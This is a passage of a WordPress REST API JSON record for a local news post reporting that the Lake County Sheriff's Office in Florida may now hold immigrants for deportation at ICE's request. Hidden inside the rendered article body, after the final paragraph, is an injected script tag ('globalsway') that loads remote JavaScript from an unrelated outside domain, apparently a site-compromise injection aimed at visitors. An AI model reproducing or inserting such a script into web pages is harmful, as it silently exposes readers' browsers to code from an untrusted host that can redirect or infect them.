We now have the ability to turn violent criminal aliens over to the proper authorities to get them off our streets. Regardless of which side of the immigration issue folks are on, we should all be able to agree on the fact that we don&#8217;t need violent offenders in our community when there&#8217;s a better option.&#8221;<\/p>\n<p>Several other sheriff&#8217;s offices throughout\u00a0Florida have also been accepted into the partnership allowing them to hold immigrants for deportation.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lake County Sheriff&#8217;s Office now allowed to hold illegal immigrants for deportation at the request of ICE agents.<\/p>\n","protected":false},"author":1,"featured_media":219118,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,3245,6,1],"tags":[215,3344,3343,3341,2588,3342,79,690,750,109],"class_list":["post-219117","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-crime","category-lake-county","category-local","tag-arrest","tag-deport","tag-deportation","tag-ice","tag-immigrant","tag-immigration","tag-lake","tag-lakeco","tag-lcso","tag-sheriff","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/handcuffs-2102488_640.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219117"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219117\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219118"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
